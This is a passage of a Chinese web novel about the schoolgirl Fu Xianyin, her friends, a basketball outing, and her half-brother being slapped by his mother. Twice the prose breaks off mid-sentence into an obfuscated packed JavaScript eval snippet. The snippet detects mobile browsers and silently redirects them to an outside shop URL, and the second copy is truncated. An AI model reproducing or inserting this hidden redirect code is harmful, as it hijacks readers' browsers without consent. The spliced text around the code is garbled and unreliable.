傅弦音有些懵懵地抬起头。 注意劳逸结合这种话,既不像陈慧梅能说出的,也不像傅东远会在意的。 高颖:“老师对你的情况大概也了解一些,我是你的班主任,班主任的意思就是除了数学这门学科以外,你的学习生活我都会负责。” “如果以后有什么情况,可以随时给老师打电话寻求帮助。” 似乎是怕她没明白过来,高颖说完还专门又补了一句:“校内校外都是,明白吗?” 傅弦音愣愣地点点头:“明、明白了。” 高颖拿起边上的一次性杯子,给她倒了杯温水。不知道是不是傅弦音的错觉,她感觉高颖身上的气息都柔和了许多。 高颖问:“你来北川也有一个月了,觉得北川怎么样?” 傅弦音:“我觉得北川很好,北川的人……” 她想了想,如实道:“北川的人,都很善良。” 程昭昭看见她不吃饭会担心她给她买饭,陈念可会拉她快速熟悉一中边上所有的美食,高颖被陈慧梅这个神经病打扰过这么多次,不仅没有迁怒于她,还会因为她家庭不睦,专门特别关照她。 逾静阿姨也是,明明她是对不起她的,但她也一直很关心她。 还有顾临钊。 北川的人,真的都很善良。 傅弦音知道哪里都有好人,哪里都有坏人,人性的好坏善恶和地域并没有关系。 但是她就是忍不住将善良与北川人挂钩。 27. 试探 从办公室出来之后,傅弦音在门口又看到了吴嘉程。 她已经麻了。 这人狗皮膏药似的,黏上就甩不掉。 傅弦音没管他,自顾自的走着,吴嘉程跟了上来,嬉皮笑脸道:“傅弦音,我也算是你在临澜的老朋友了,你就是这么对我的吗?” 教学楼里面有监控,人来人往的走廊上面动手也不太好。 不然傅弦音绝对要把吴嘉程揍到妈都不认识。 她没理吴嘉程,吴嘉程就这么亦步亦趋地跟着她,等她马上要回班的时候,吴嘉程突然扯住了她的衣袖。 傅弦音有些嫌恶地挣开,皱眉道:“干什么?” 吴嘉程还是那副嬉皮笑脸的样子:“帮个忙,叫下你们班纪逐渺出来一趟。” 傅弦音压着火,走到纪逐渺桌子前,敲了敲她桌子。 纪逐渺正趴在桌子上,听见动静抬头看见傅弦音正要说什么,却被傅弦音吓了一跳。 傅弦音声音没什么情绪,周身气压低得可怕:“吴嘉程叫你出去一趟。” 说完,傅弦音转身就回了座位。 纪逐渺有些烦躁地往门口看了一眼,而后从后门绕出去。 吴嘉程吊儿郎当地靠在走廊边,纪逐渺心中有些不喜,她走过去,问:“不是跟你说了先别往傅弦音身边凑吗?” 吴嘉程摊摊手:“你们班主任是年级主任,我刚转过来得去找她,是她让我来你们班叫傅弦音的,不是我主动找上去的。” 他把自己责任撇得一干二净。 要不是纪逐渺亲眼看到了傅弦音身上的低气压的话,她还真可能相信吴嘉程什么都没说。 “算了,不跟你说这个。” 纪逐渺看向吴嘉程:“你来找我干什么。” 吴嘉程:“我刚才偷偷听到,你们班今年运动会开幕式举牌的是傅弦音啊。” 他眼珠一转:“那我们……” * 晚自习。 高姐把运动会举牌的事情在班里宣布了,出乎傅弦音意料,班里很多人都还挺赞成她举牌。 “好!举牌就得找美女,给我们十五班狠狠长脸!” “碾压他们!” “碾压,狠狠碾压!” 林安旭在讲台边叫得最欢: “瞅瞅,谁能找到年级第一举牌,这殊荣我们独一份!” 高颖用卷子不轻不重地在林安旭脑袋上敲了一下,说:“闭嘴,别班上自习的,你们小点声。” 高颖:“月考还有一个多星期,运动会还有不到两周。这两周体育课班长和体委好好带着大家练练运动会的队形。该报项目的自己主动点,别等着最后我给你们硬派。” 十五班是纯理班,半晌男多女少。 高颖这话说完,好几个女生蔫了下去。 晚自习下课,程昭昭快速收拾好东西,兴冲冲跑到傅弦音桌边说:“大休大休,我来了!” 傅弦音写完最后一道题,收拾好东西,和尹泽轩说了再见,就被程昭昭挽着手臂拉出了教室。 路过讲台边,林安旭问:“你俩干什么去这么急?” 程昭昭在走廊上冲教室喊:“拥抱我快乐的大休生活!” 两人一路小跑着出了校门,傅弦音也有点兴奋,她问:“陈念可在哪呢?要不要打个电话问问她?” “那呢我看到了!” 程昭昭眼尖,一眼就看到了冲她俩挥手的陈念可。 俩人跑过去,放下书包,陈念可指着菜单说:“诺,我点了我想吃的,你们看看你们还有没有什么想吃的?” 傅弦音扫了一眼,说:“那我再加一分腐竹和兰花干吧。” 陈念可严肃地竖起大拇指,认可道:“会吃。” 傅弦音也板起脸,学着她的样子说:“承让。” 一中校门口新开了一家冒烤鸭店,陈念可心心念念好几天了,奈何下午放学时间太短,冒烤鸭的生意又很火爆,陈念可怕迟到,一直没吃上。 好不容易等到了大休,可以出校,陈念可就和她俩说想等着放学来吃冒烤鸭庆祝一下。 程昭昭答应得很痛快,傅弦音想了想,也答应了。 认识这么久了,程昭昭也知道傅弦音一般都住学校,她还担心地问:“那如果晚上吃太晚,学校关门了你怎么办啊,哎,要不要去我家住,我跟我妈妈说一声。” 程昭昭说着就认真地思考这件事情的可行性,傅弦音笑着说:“不用啦,回不去宿舍我也有地方住。” 自从知道了傅东远在酒店有长住房之后,傅弦音就再也不担心没地方去这件事了。 程昭昭说:“那你要和你妈妈说一声哦,别让她担心。” 傅弦音笑:“嗯,没事的。” 店里面人不算少,三个女生托着腮,在桌边聊天。 陈念可这段时间跟傅弦音混熟了,也放得开了。 她说:“音音,你打算什么时候去租礼服呀?到时候带着我嘛,让我看看美女。” 傅弦音:“哎,我没打算再租礼服来着。我就打算穿上次文艺汇演那个。” 程昭昭惊讶:“什么?” 陈念可否决:“不行!” 傅弦音被两人吓了一跳。 程昭昭:“上次的已经穿过了,而且这次可是运动会开幕式,不能草率对待。” 陈念可:“就是就是,而且租礼服可以班费报销的音音,你再租一个嘛。” 俩人眼巴巴地看着她,嘴里嚷嚷着“租嘛租嘛~”,傅弦音没辙,只好答应。 程昭昭:“你都不知道,高姐说完是你之后,宋瑶歌的脸有多黑。” 傅弦音好笑道:“宋瑶歌坐在第一排,你坐她后面那么远也能看见她的脸?” 程昭昭撇嘴:“反正我就是不喜欢宋瑶歌。” 陈念可:“我倒觉得宋瑶歌还好,感觉她就是被家里人惯大了,我有的时候看她吃瘪,我还感觉挺可爱。” 陈念可小小声:“我和纪逐渺合不来,不知道为什么,感觉她心思很多的样子。” 傅弦音也小小声:“我们这样算是背后偷偷说别人坏话吗?” 程昭昭也小小声:“好像算,那我们少说两句吧。” 三人一脸认真地点了点头。 冒烤鸭刚好做好端上来,三人撸起袖子就大快朵颐。 陈念可属于吃饭看起来就很香的类型,傅弦音每次感觉和陈念可吃饭,看着她吃得那么香,自己也能多吃两碗饭。 满满一大份冒烤鸭被三人吃了个精光。 陈念可饕足地靠在椅背上,说:“音音,你看起来这么瘦,还挺能吃的嘛。” 程昭昭说:“音音饭量不小的,她就是平时经常不吃饭。一起吃饭的话,我感觉音音比我能吃点。” 陈念可羡慕地看着傅弦音的小尖下巴:“好羡慕音音,这么瘦,我什么时候才能瘦成这样啊。” 傅弦音说:“你又不胖,现在这样多好。” 陈念可完全说不上胖,就是脸颊带了点婴儿肥。 陈念可嘿嘿笑:“我也就是说说,真让我不吃饭我也做不到。” “高三的生活苦死了,天天都是上课刷题写作业,每天的吃饭已经是我唯一的乐趣了。” 她看向傅弦音,问:“音音,你每天都在学习,有的时候饭也不吃,你不累吗?还是说你真的很喜欢学习。” 傅弦音:“我也没有喜欢学习,但我好像就是觉得,每天刷题写作业,也没什么。” 陈念可惊讶:“你不觉得苦吗?你不觉得累吗?你每天看到那么多的试卷你不觉得头大吗?你不想休息或者和家人朋友出去玩吗?” 傅弦音想了想,说:“我好像,真的还好。” 陈念可叹道:“那你真的是先天学习圣体。” 程昭昭也点点脑袋:“好羡慕,果然学霸和我们有壁。” 傅弦音只是笑。 她刚才想了一下,她如果不学习的话会怎样、能怎样。 陈慧梅会发疯,会连带着她也发疯,傅东远会觉得她没有能力,彻底放弃她,可能连钱都不会给她了。 所以她只能学习。 对傅弦音来说,学习的痛苦和这两种比起来,很轻了。 只是她刚才才在陈念可的话下反应过来。 她活了这么多年,好像从来没想过第二种活法。 是没想过,还是没法想。 傅弦音不知道。 * 傅弦音一觉睡到快中午。 久违的睡了个好觉,傅弦音感觉神清气爽。 到附中的时候,林安旭他们已经都到了。 几个男生都穿的球衣,唯独顾临钊穿了件白T恤和牛仔裤。 傅弦音问他:“你不打吗?” 顾临钊:“啊,我不打。” 林安旭在边上吐槽:“钊哥非说今天太阳太大了,他要在边上看。” 他说完,朝傅弦音努努嘴:“少爷娇气。” 傅弦音倒觉得这个理由很合理,要不是今天得来附中印卷子,她多半也会因为这个烈日拒绝林安旭。 不过,傅弦音歪歪脑袋,笑了笑。 平日里林安旭都是钊哥钊哥的叫,傅弦音还是第一次听“少爷”这个称呼。 她只觉得好玩又可爱,转身饶有兴致地看了边上的少爷一眼。 少爷笑骂:“行了啊,不说了给你们当替补。” 说完,他转头问傅弦音:“饿不饿?” 他已经默认傅弦音是一个不吃饭的状态,自动省略那句“你吃饭没”。 傅弦音摇头:“昨天晚上跟昭昭和念可吃的挺多的,不饿。” 顾临钊:“行,饿了就说。” 林安旭交友能力不是盖的,这次打球的人里只有几个是十五班的,其他人傅弦音瞧着眼生,估计是别的班的。 出乎意料,她们班女生也来了不少。 除了程昭昭,宋瑶歌和纪逐渺也来了,还有几个女生也在。 程昭昭说:“林安旭那个性格你知道的,而且大休嘛,一招呼就都来了。” 这样啊。 傅弦音点了点头。 她拉着程昭昭在篮球场边上找了个阴凉地,抬头就看见不远处跑来一个熟悉的人。 吴嘉程? 傅弦音脸色黑了黑。 林安旭不知道内情,冲吴嘉程招手:“兄弟这呢,快来。” 吴嘉程换了球衣,小跑两步过来了。 傅弦音本以为自己还要再受一轮恶心,没想到吴嘉程就冲她笑了一下,而后步子转了个弯,去找纪逐渺说话了。 傅弦音也乐得清闲,盘腿坐在地上,有一搭没一搭地和程昭昭聊天。 傅弦音:“念可呢?她怎么没来。” 程昭昭:“她说她要睡觉,没人能阻拦她睡觉。” “这样啊。” 程昭昭笑说:“她可爱睡觉了。我刚认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060457|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识她的时候她一天没回我消息,给我吓坏了,我还以为她作息不规律猝死什么的了,还给高姐打了个电话。结果你猜怎么着?” 程昭昭说:“陈念可晚上给我回消息,说她睡了一天,没看手机。” 哇塞。 傅弦音由衷地羡慕陈念可的睡眠了。 程昭昭说:“从那以后,陈念可只要不回我消息,我就知道,这人准在睡觉。” 男生已经开始热身,一群穿着球服的男生中,顾临钊一身清爽的打扮格外显眼。 附中那边,傅叶阳迟迟没到。 林安旭小跑过来,问傅弦音:“姐,你要不给叶阳发个信,问问他人呢。” 傅弦音想了想,说:“他刚才跟我说他在教学楼里,我去找找他吧。” 林安旭:“也行,姐有啥事你给我打电话啊。” 傅弦音点点头,溜着阴凉地的边走进教学楼。 她周中的时候跟傅叶阳说过卷子的事,刚才到附中的时候也给傅叶阳说了声,他说他准备去给她印卷子。 还好傅弦音当时多问了一嘴傅叶阳去哪印卷子,要不然现在她连去哪找人都不知道。 十月中旬的天气开始凉下来了,在室外烈日照着还浑身热气,走到楼里,风一吹,傅弦音两条腿都是冷的。 准备上楼梯的时候,傅弦音忽然觉得有点不大对劲。 傅叶阳作为傅东远的好大儿,有一个傅弦音没有的优点,那就是极其有时间观念。 正常来说,他不会因为给傅弦音印卷子而在已经约好的球赛上面迟到。 一个不详的预感在傅弦音脑海中诞生。 几乎是同时,一道女人生气的怒骂从楼上传来。 傅弦音拔腿就朝着声音的方向跑去。 她知道发生什么了。 女孩体重轻,脚步也轻,柔软的运动鞋落在地上似小猫肉垫,基本没什么声音。 女人怒吼的声音越来越大,傅弦音已经可以听清楚她在骂什么。 忽然,一道清脆的响声传来—— “啪——” 傅弦音一个急刹车顿在原地。 她往前又挪了两步,有些不可置信地朝着楼梯间的方向看去。 墙角挡住了李婵的背影,傅叶阳靠在墙边,低着脑袋,白皙的脸上鲜红的掌印明显。 他手里还攥着一沓试卷。 李婵骂道:“傅弦音这次考了年级第一,你还有心思在这里打球。她本来就比你占优势,傅东远是她爸,你知不知道你要是比不过她,我们就什么都没了!” 傅叶阳低垂着脑袋,不说话。 李婵见他没有任何动作,扬起手臂又给了他一巴掌。 这一次,傅弦音离得近。 她看到男孩额前的碎发落下,被打巴掌的那半边脸已经微微肿了起来。 “说话啊!”李婵骂:“你哑巴了吗?!” 傅叶阳抬起头,似乎完全感受不到疼痛般,笑道:“你想听我说什么呢?说我会让傅东远爱上你,让傅东远跟陈慧梅离婚,然后娶你?” 他摇摇头,声音回响在空荡荡的走廊里:“你让我说,我只觉得傅弦音能考年级第一,是她厉害,傅东远要把公司给她,也是她应得的。” 傅弦音没再听下去。 她给顾临钊发了条微信,而后飞快地跑下楼,跑到小卖部。 她平时基本不锻炼,体能差得厉害,跑到小卖部的时候腿一软差点跪下。 她拿了两个冰袋,又买了几个冰激凌冰饮料什么的,提着袋子往教学楼跑。 篮球场,顾临钊看着手机上发来的消息。 傅弦音:[你帮我找个理由跟林安旭说声叶阳今天不打了,让他们先打别等了。] 他叫住林安旭,说:“你们先开始吧,让附中那边替补来打,叶阳打不了了。” 林安旭不明所以:“啊?为啥?” 顾临钊面无表情瞎扯:“下楼梯脚崴了。” 林安旭:“行,那我过去说声。哎钊哥,你干嘛去?” 顾临钊:“给人送温暖去。” 附中教学楼和一中并没有很大的区别。 顾临钊刚走到一楼大厅就听见了楼上传来女人的叫喊声。 心中有了一个猜测,他沿着楼梯,朝着声音的源头走去。 声音越来越大,越来越清晰,就在顾临钊准备去楼梯间一探究竟的时候,一只冰凉的小手忽然抓住了他。 是他同桌。 不对,是前同桌了。 傅弦音额前凝了层汗珠,原本白皙的脸颊腾了层薄红。 她肩膀都在随着急促的呼吸上下起伏,一看就是做了剧烈运动。 顾临钊视线看向傅弦音另一只手,透明的塑料袋装了一堆冰袋冰激凌冰饮料之类的。 傅弦音没说话,拽着他往反方向走。 下了两层楼梯,傅弦音扶着扶手坐在楼梯上喘粗气。 气都还没喘匀,傅弦音就问:“你怎么来了。” 语气不是很和善。 刺得顾临钊有点不舒服。 他还没来得及说话,傅弦音就又开了口。 这一次,语气温和了点,带了点试探:“你……听到了多少?” 顾临钊被那点试探搞的莫名不爽。 甚至比傅弦音刚开始刺他那一句还不爽。 他掀掀眼皮,声音没什么情绪地反问: “你呢,你希望我听到多少?” 28. 哄他 在顾临钊眼里看来,傅弦音的意思很明显了。 她看见叶阳没来打球会担心,这么个懒到连两层楼多的化学老师办公室都不想去的人,因为担心叶阳,顶着大太阳跑过来,看见叶阳那边糟心事之后,还专门给他去买了一堆东西。 顾临钊低头看傅弦音。 她穿的长裤短袖,额角的发丝被汗水打湿,胸膛起伏也剧烈,一看就是做了剧烈运动。 哦,还是跑着去跑这回的。 顾临钊想。 他和傅弦音认识这一个多月以来,除了体育课上要求的,顾临钊就没见过傅弦音跑步。 不仅如此,她还非常照顾叶阳的自尊心。 生怕那档子糟心事被他听见。 顾临钊忽然觉得自己像个被严密防备的外人,傅弦音则像个小保镖似的,一手拉着警戒线,另一只手摆成禁止状,挡在他面前,跟他说: “后退。” 这个认知莫名地让他非常不爽。 所以他问出了那句:“你呢,你希望我听到多少?” 傅弦音被问到了。 她基本没什么情绪感知能力,一时间察觉不到顾临钊这完全不外放的情绪。 她只是,不知道该怎么回答这个问题。 楼道静谧。 傅弦音盯着顾临钊的鞋带,半晌,才仰起头,看着顾临钊,诚实道: “我当然,是希望你什么都没听到。” 小猫眼眨巴眨巴,明亮的瞳仁盯着他。 顾临钊几乎都被气笑了。 他点点头,说:“行,那我就什么都没听到。” 傅弦音松了口气。 顾临钊的人品他是知道的,既然他这么说了,那不管他听没听到,他都会装作像没听到一样。 她从塑料袋里翻出一罐可乐,递给顾临钊:“诺,给你瓶可乐。” 顾临钊没接,说:“不是给叶阳买的?” 傅弦音盯着可乐,“啊”了一声,有些不确定地问道:“你是……不想喝可乐?那你看看你想喝什么?” 顾临钊:…… 他俩思维完全不在同一个频道上。 顾临钊感觉自己一口气堵在嗓子眼能把自己堵死。 他顿了几秒,从塑料袋里拿了瓶水,拧开了盖子。 气氛有些尴尬。 傅弦音觉得很奇怪。 她和顾临钊认识这么久,期间很多次相处时两人都没说话,她也从没感觉到尴尬。 傅弦音不知道尴尬从何而来,但她知道自己不怎么喜欢这种尴尬的气氛。 于是傅弦音,一个从来秉持着就算尬死我也不会先死的人,主动寻找话题开口: “你是来找我的吗?” 顾临钊手指勾着矿泉水瓶,说:“那不然呢,我来找他?” 傅弦音有点烦躁地“啧”了一声。 在她印象里,和顾临钊聊天明明是一件很简单的事情,怎么今天忽然变得这么困难。 她再次尝试:“那你跟林安旭是怎么说的。” 顾临钊深吸一口气:“……我说叶阳脚崴了。” 傅弦音点点头:“哦哦,这个理由挺好的,这样你来找我们他们也不会觉得奇怪。” 顾临钊觉得自己像是在对牛弹琴。 他想说之前那么多次我专门来找你,没有什么杂七杂八的理由,有人觉得奇怪吗? 怎么现在来找她都还得想个冠冕堂皇的理由。 气氛再次沉静。 就当傅弦音犹豫是破罐子破摔就这样了,还是她再努力挣扎一把的时候,高跟鞋敲击瓷砖地面的声音从楼上传来,而且越来越近。 傅弦音迅速回过神,她拉着顾临钊就开始跑。 顾临钊被她磨的已经没脾气了。 俩人找了个空教室躲着,直到傅弦音看着李婵走下楼梯,她才松了一口气。 她转身对顾临钊说:“你在这等以下,我上去找……叶阳。” 顾少爷眼皮一抬,声音不冷不热:“赶我?” “不是。”傅弦音不知道自己哪来的好脾气,在他这两次三番的挤兑下还能耐着性子。 她放低了声音,语气压得很软: “就是,我觉得如果我是叶阳,我应该也不希望有别人看见。” 这个理由说服了少爷。 少爷扬扬下巴,终于放她走人,只是临了还不往补充一句:“我就在这等着,傅弦音,别把我忘了。” 傅叶阳垂着脑袋站在楼梯间。 傅弦音故意弄出了点动静,引得对方抬头。 傅叶阳在看到傅弦音的一瞬间懵了一下,他句:“姐?” 傅弦音:“你姐在呢。” 傅叶阳后知后觉反应过来,他带着几分歉意说道:“抱歉,篮球赛……” “你如果是担心的打球的话,不用担心了。” 傅弦音先一步打断了他的话,说:“我让顾临钊和林安旭说了,你们附中上替补跟他们打,不会等着你。” 她拿出塑料袋里的冰袋,按在傅叶阳脸上。 男生被冰得龇牙咧嘴。 傅弦音说:“拿着,自己敷一下,不够这里还有。” 她露出了一袋东西。 傅叶阳看着那一堆雪糕饮料,说:“……倒是也用不了这么多。” 傅弦音点点头,说:“我也觉得。”而后她挑了个自己爱吃的雪糕,坐在地上,拆开包装就吃了起来。 买的时候她也觉得傅叶阳用不了这么多,所以雪糕买的都是她爱吃的。 她从塑料袋里又掏出一条水果糖,拆开,拿了两块给傅叶阳。 是之前去天文公园的路上,顾临钊给她的那种。 不知道为什么,当时在小卖部,看到这条糖的瞬间,傅弦音脑子就想起了那天在路上,她心情不佳,顾临钊冲她伸手,掌心躺着一颗糖。 她当时还以为是薄荷糖,吃了才发现是水果糖。 顾临钊当时是怎么说的来着? 好像是,“吃个糖,别气了。” 而她吃完糖之后,心情好像确实好了不少。 于是傅弦音就鬼使神差地在一堆冰的东西中,买了一条水果糖。 傅叶阳嘴里含着水果糖,看着傅弦音吃雪糕的样子,忽然笑了出来。 傅弦音慢悠悠道:“还能笑,看来是不太疼啊?” 傅叶阳捂着脸,也找了个地方坐了下来。 安静半晌,傅弦音忽然问道:“李婵她,经常打你吗?” 傅叶阳沉默了一阵,而后点点头。 李婵信奉棍棒底下出孝子。 傅叶阳是从小被打到大的。 甚至傅叶阳觉得,李婵信奉的不是棍棒底下出孝子,她是需要一个出气的麻袋,在心情不好的时候能够放肆宣泄怒火。 他转过脸,问傅弦音:“陈慧梅会……” 傅弦音咬下一块雪糕,摇摇头:“她倒不会。” 陈慧梅偶尔会甩她巴掌,气急的时候,但是她没有打她的习惯。大多数时候其实是陈慧梅自己发疯,摔东西砸东西,有的时候一通乱扔,正好扔到傅弦音身上。 傅叶阳也拆了另一个雪糕吃。 俩人就这么坐在地上,一口一口地啃雪糕,啃完之后,傅弦音抽了张纸巾,擦擦嘴巴,拍了拍身上的尘土说: “走吧。” 两个冰袋用完,傅叶阳脸上的红肿基本看不出来。 傅弦音仔仔细细检查了一下,保险起见,又给他了一瓶还冒着冷气的冰可乐,说:“你再贴一会。” 傅叶阳顺从地把冰可乐贴在了脸颊上。 傅弦音没忘了楼下的少爷。 她拧开门,少爷正坐在讲台前玩手机,听见声音后抬起头。 “走啦。” 傅弦音冲他招手。 顾临钊收了手机,从讲台上下来。 他看向傅弦音手里提着的塑料袋。 原本鼓鼓囊囊的塑料袋现在只剩下几瓶饮料。 顾临钊说:“雪糕呢?” 傅弦音有些不好意思道:“吃了。” 顾临钊:“你不吃饭一个人吃俩雪糕?” 傅弦音指了指身边的傅叶阳:“这不是还一个人吗,我俩一人一个。” 她敞开塑料袋,递给顾临钊:“诺,你看看你想喝什么?” 她没错过顾临钊手里那瓶水还没喝完,但那又怎样,少爷想喝,要几瓶她都给。 顾临钊的视线落在傅叶阳手里的可乐上。 这是刚才傅弦音递给他的。 傅弦音“啊”了一声,说:“你不是不要吗?” 顾临钊不知自己犯了什么病,他听到自己在说:“我要是又想要呢?” 傅弦音软下脾气,说:“那我就去给你买。” 不知道是不是林安旭今天叫那句“少爷”的缘故。 傅弦音觉得顾临钊今天真是个大少爷脾气,得跟边上伺候着。 也是出了奇,她还真就能压着性子应付少爷脾气。 傅弦音觉得自己像个老奴,一切都是“为了少爷开心,老奴做什么都行”。 就当是给自己积德了,傅弦音想,伺候一天少爷的怪脾气,她在阎王那里的功德应该蹭蹭往上涨。 或许是那句“给你买”取悦了少爷。 顾临钊没再说什么,看起来心情好了不少。 他扬扬下巴,说:“走吧。” 球场,比赛正如火如荼进行中。 看见傅叶阳来了,附中男生立马叫了暂停。 有个人跑过去,上上下下打量着傅叶阳,说:“你脚咋样了,看起来走路没什么影响了。” 傅弦音:…… 糟糕,忘记跟傅叶阳说顾临钊找的那个理由了。 好在傅叶阳脑子转的飞快。 他晃了晃脚腕,说:“其实没啥大问题,就是磕了一下,当时疼的要命,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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俩人说走就走,也没跟别人说。 跟林安旭聊着天的顾临钊下意识在球场上寻找傅弦音的身影,忽然发现找不到人了。 他看了眼傅弦音之前放包的地方。 包也没了。 “找啥呢钊哥?” 林安旭看着他东张西望问。 顾临钊:“叶阳呢?” 林安旭指了指附中半场:“那呢,热身的。” 顾临钊的心放回了肚子里。 他点点头:“没事了,你刚才说到哪了?” 奶茶店里,傅弦音点了两杯杨枝甘露。 程昭昭问:“音音,你给谁带买的啊?” 傅弦音:“啊,我想着给顾临钊买一杯。” 程昭昭说:“哎,顾临钊现在也开始爱喝奶茶了?” 傅弦音动作一顿。 她缓慢地转过头,问:“他以前,不爱喝吗?” 程昭昭说:“昂,以前林安旭拉他去小卖部买奶茶,他从来不买。” 傅弦音心中狠狠斥责自己。 老奴当得不到位啊你。 这样还怎么在阎王爷那里加功德。 傅弦音最后还是买了那杯杨枝甘露。 且不说之前顾临钊跟她一块的时候该喝奶茶也在喝,就算顾临钊不喝,两杯杨枝甘露对傅弦音来说也不是什么困难的。 她又拉着程昭昭去了趟便利店。 傅弦音挑了个小蛋糕,买了个饭团,看到那条熟悉的水果糖后,傅弦音把每个口味都买了一条。 最后,傅弦音拎着满满当当的袋子走出便利店。 回到球场的时候,男生们已经开始打了。 太阳西斜,之前坐的地方已经不是阴凉了。两人重新找了快阴凉地,傅弦音把包放下,拎着一兜子的东西就去找顾临钊。 顾临钊依旧是没上场,他在裁判后面找了块阴凉歇着。 突然,视线中多了个人影。 傅弦音拎着两杯杨枝甘露和一兜子零食,走到他面前。 她买东西就想到了第一次打球时宋瑶歌给顾临钊送水的场景。 她当时拿了一瓶水,一瓶杨枝甘露,还有一瓶运动饮料。 傅弦音认真的觉得这是个好办法。 不知道买什么就都买了,然后给他挑。 看看,看看,多有诚意啊她。 顾临钊看着傅弦音手里拎着的东西。 两杯奶茶,还有从便利店买的,满满一兜子东西。 比给叶阳买的多多了。 顾临钊心里有一处隐秘的地方被诡异的情绪填满。 下一秒,他就看见面前的女孩微微弯腰,把手里的东西递给他,声音带着明朗的笑意,说: “少爷,老奴来给您送温暖啦!” 29. 火烧云 笑意在顾临钊脸上逐渐扩大。 日头从远处斜斜打过来,照亮了顾临钊短短的发丝,映出一片金黄。 他曲着条腿,坐在地上,笑着笑着低下脑袋,笑声从胸腔里爆发,整个人眼角眉梢都透露着愉悦。 傅弦音都不知道自己今天哪来的好脾气。 她蹲下身子,把杨枝甘露和零食放在旁边,双手抱着膝盖,歪着脑袋,看顾临钊。 她坚守着老奴的职业素养,说了一句老奴的经典台词: “少爷很久没这么笑过了。” 顾临钊笑得更厉害。 他不知道自己在笑什么,他甚至不知道自己在此情此景是怎么能笑出来的。 明明几分钟之前,他还被烦躁和不爽包裹着。 可看见傅弦音拎着那堆东西,站在他面前,笨拙地安慰人的模样,还说出那句: “少爷,老奴来给您送温暖啦!” 顾临钊的笑就收不住。 傅弦音觉得自己的耐心非常多了。 甚至在顾半仙的影响下,她看见顾半仙因为家庭原因心情不好,她在被顾半仙负面情绪波及的前提下,还愿意专门出去给他买点东西,安慰他。 好吧,傅弦音心想,也不是专门。 毕竟那杯杨枝甘露确实是她想喝。 她心中为自己的夸大其词有那么一点点的心虚。 但转瞬即逝。 不是专门怎么了。 她给顾半仙买东西是事实,想要安慰顾半仙也是本心。 论迹不论心嘛。 傅弦音觉得自己今天积大德。 阳光从斜后方打来,照亮了顾临钊耳后的发丝,却刚好落进傅弦音眼里。 她干脆一屁股坐在地上,身子矮了矮,接着顾临钊脑袋挡了挡刺眼的太阳光。 傅弦音脚尖踹了踹顾临钊的鞋尖,她说: “哎,少爷,笑够没?” 少爷收了笑容,他指了指地上的一堆东西,明知故问道:“给我买的啊?” 傅弦音:“不然呢?我拎着东西来你这练空腹有氧呢?” 顾临钊又笑。 傅弦音不知道这人什么毛病。 她心情不好的时候只想炸了这个地球,让所有人跟她一起去死。 怎么少爷心情不好的时候反而这么爱笑。 果然少爷和基层人民不一样。 傅弦音下了这样的结论。 她打开塑料袋,一样一样给顾临钊捡:“蛋糕,面包,汽水,果汁,运动饮料,还有糖。” 傅弦音拿出一把糖,在地上一字排开:“所有口味,全给您买来了,少爷满意吗?” 顾临钊剥了一条葡萄味的糖,先给了傅弦音一粒,而后自己塞了一颗道嘴里。 薄薄的脸皮被糖块顶出了幅度。 他眯了眯眼睛,声音懒散又含糊:“不满意的话怎么办?” 傅弦音后牙一用力,糖块在嘴里咯嘣一下被咬碎。 她面无表情,似是威胁般道:“能买的我都买了,你再不满意的话,那我真要揍你了。” 丝毫忘了自己前不久是因为不知道顾临钊喜好所以才把所有的东西都买了一遍。 葡萄果香在口中弥漫。 顾临钊胳膊撑在后面,半仰着下巴看眼前的女孩。 她盘腿坐在地上,双手交叉抱在胸前,眉眼已经因为他三番四次发神经开始露出几分不耐烦,却又不知道为什么,还压着火气,留了最后一丝耐心给他。 顾临钊识时务的觉得,做人得有点数。 于是他轻轻点点头,说:“少爷很满意,非、常、满、意。” 这场球赛不是正规的比赛,娱乐性质更多些。 因此大家也没有严格遵守时间上的规则。 十月中旬,太阳落山稍微早些。等这场球打完,教学楼西边刚好露出一片夕阳的晚霞。 林安旭发梢还滴着汗水,他本来还在撑着膝盖喘粗气,却在抬头的瞬间又生龙活虎起来。 “快看那片云!” 他兴奋地指着。 众人抬头望去。 橙红色的火烧云一点一点地吞并着天空,似是泼洒的颜料碰了水,只沾上一点就迅速地把整篇天空都染成烈色。 白色的楼壁被渡上一层金黄,浓稠的云被风吹着缓慢散开。 程昭昭忽然拉着傅弦音的胳膊,说:“音音,我们拍张照吧!” “好呀。” 程昭昭说完就把手机递给离得最近的林安旭。 镜头框住两人,连带着身后的斜阳一并收入其中。 程昭昭碎发被风吹起,她弯起眼睛,笑得灿烂而生机勃勃。 手机还给程昭昭,顾临钊看了眼身后的斜阳,忽然对傅弦音招了招手,说: “咱俩也拍一个。” 傅弦音有些莫名地看了他一眼,却见少年嘴角噙着笑,终究没说什么,把手机递给了顾临钊。 两人都是白T恤牛仔裤,傅弦音微微歪着脑袋,顾临钊面上懒洋洋,眼睛却刚好认真地盯上屏幕。 于是快门键按下。 热烈的夕阳在身后,橙红色的光照下,映得人耳尖都是一片红。 “哇塞,好好看!” 陈念可看着照片,忍不住夸赞。 程昭昭当晚回家之后就把照片用拍立得打印了出来。 她臭屁道:“是吧是吧,我和音音是不是都美炸了。” 陈念可点点头:“真的好好看,早知道我也去了。” 程昭昭毫不留情拆穿她:“得了吧,早知道你也在家睡觉,你当我第一天认识你呐?” 陈念可只是嘿嘿笑。 程昭昭把所有照片都打印了两份,给了傅弦音一份。 除了她和傅弦音的照片还有最后林安旭突然发神经要拍的十五班大合照外,程昭昭把她和顾临钊的那张照片也打印了一份,给了傅弦音。 傅弦音顺手把照片塞到了手机壳背面。 她手机壳是个黑色的卡通小熊,不透明,照片放在里面也不会透出来。 